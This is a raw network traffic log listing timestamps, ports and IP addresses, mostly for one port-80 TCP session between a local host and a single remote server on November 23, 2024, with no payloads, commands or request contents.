Nov 23, 2024 05:02:52.927423954 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.927457094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.927529097 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.928313017 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.928400993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.928436041 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.928472996 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.929258108 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.929296017 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.929348946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.929558039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.930213928 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.930282116 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.930318117 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.930565119 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.931163073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.931210995 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.931277990 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.931417942 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.932137012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.932187080 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.932231903 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.932301044 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.933073997 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.933186054 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.933201075 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.933224916 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.934012890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.934083939 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.934117079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.934207916 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.934984922 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.935086012 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.935090065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.935125113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.935930014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.935937881 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.935971975 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.936031103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.936067104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.936882019 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.936949968 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.936997890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.937062979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.937833071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.937889099 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.937942982 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.937995911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.938811064 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.938883066 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.938905954 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.938980103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.939742088 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.939801931 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.939836979 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.940459013 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.940696001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.940769911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.940807104 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.940975904 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.941652060 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.941725016 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.941760063 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.941829920 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.942596912 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.942639112 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.942699909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.942867994 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.943578005 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.943677902 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.943715096 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.943732023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.944525957 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.944639921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.944690943 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.944729090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.945419073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.945465088 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.022986889 CET	443	49882	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:53.023148060 CET	443	49882	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:53.023217916 CET	49882	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:53.023344994 CET	49882	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:53.023363113 CET	443	49882	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:53.096735001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.096754074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.096831083 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.096945047 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.096993923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.097029924 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.097078085 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.097904921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.097965956 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.097997904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.098083019 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.098898888 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.098942041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.099009991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.099164963 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.099833965 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.099940062 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.099991083 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.100756884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.100817919 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.100847960 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.100858927 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.101732016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.101794958 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.101838112 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.101953983 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.102672100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.102724075 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.102780104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.103657007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.103750944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.103764057 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.103790045 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.104609966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.104659081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.104695082 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.104962111 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.105539083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.105597973 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.105642080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.105685949 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.106481075 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.106556892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.106591940 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.106642008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.107485056 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.107587099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.107662916 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.108442068 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.108520985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.108549118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.108668089 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.109350920 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.109412909 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.109456062 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.109514952 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.110292912 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.110347986 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.110378981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.110419035 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.111253977 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.111319065 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.111356020 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.111504078 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.112205029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.112266064 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.112301111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.112409115 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.113161087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.113229036 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.113281965 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.114116907 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.114175081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.114214897 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.114290953 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.115067959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.115120888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.115173101 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.115211964 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.116029024 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.116101980 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.116125107 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.116167068 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.116991043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.117074013 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.117078066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.117125988 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.117934942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.117990017 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.118030071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.118083954 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.118876934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.118937969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.118973017 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.119028091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.119837999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.119893074 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.119932890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.119972944 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.120788097 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.120857000 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.120893002 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.121572971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.121752024 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.121838093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.121859074 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.121889114 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.122692108 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.122792959 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.122814894 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.123070955 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.123651981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.123697996 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.123738050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.123914003 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.124607086 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.124680042 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.124715090 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.124808073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.125552893 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.125612974 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.125657082 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.125719070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.126523972 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.126578093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.126662970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.126717091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.127465963 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.127568960 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.127598047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.127613068 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.128416061 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.128460884 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.128515959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.128552914 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.129386902 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.129448891 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.129486084 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.129551888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.130307913 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.130357027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.130383968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.130450964 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.131300926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.131361961 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.131402016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.131514072 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.132220984 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.132286072 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.132330894 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.132369041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.133188009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.133260965 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.133296013 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.133393049 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.134136915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.134238958 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.134293079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.135097980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.135147095 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.135200024 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.135261059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.136053085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.136118889 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.136153936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.136291027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.137005091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.137078047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.137120008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.137180090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.137948036 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.137999058 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.138041973 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.138216972 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.138915062 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.139029026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.139080048 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.139880896 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.139971972 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.139990091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.140094995 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.140815973 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.140863895 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.140903950 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.140959024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.141761065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.141861916 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.141880035 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.141943932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.142703056 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.142751932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.142811060 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.142896891 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.143681049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.143783092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.143831968 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.144630909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.144710064 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.144728899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.144814968 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.145569086 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.145617962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.145682096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.145720959 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.146517992 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.146573067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.207941055 CET	49898	443	192.168.2.6	23.209.72.21
Nov 23, 2024 05:02:53.208009005 CET	443	49898	23.209.72.21	192.168.2.6
Nov 23, 2024 05:02:53.208250999 CET	49898	443	192.168.2.6	23.209.72.21
Nov 23, 2024 05:02:53.210644007 CET	49898	443	192.168.2.6	23.209.72.21
Nov 23, 2024 05:02:53.210660934 CET	443	49898	23.209.72.21	192.168.2.6
Nov 23, 2024 05:02:53.233270884 CET	49872	443	192.168.2.6	23.209.72.21
Nov 23, 2024 05:02:53.279345036 CET	443	49872	23.209.72.21	192.168.2.6
Nov 23, 2024 05:02:53.298098087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.298166990 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.298196077 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.298216105 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.298491001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.298558950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.298588991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.298621893 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.299217939 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.299271107 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.299340010 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.299381018 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.300189972 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.300242901 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.300297976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.300442934 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.301129103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.301176071 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.301214933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.301306963 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.302068949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.302117109 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.302180052 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.302279949 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.303054094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.303136110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.303162098 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.303246021 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.304008961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.304094076 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.304115057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.304203987 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.304936886 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.304990053 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.305046082 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.305102110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.305913925 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.305960894 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.306005955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.306240082 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.306857109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.306969881 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.307022095 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.307821035 CET	80	49819	185.215.113.206	192.168.2.6
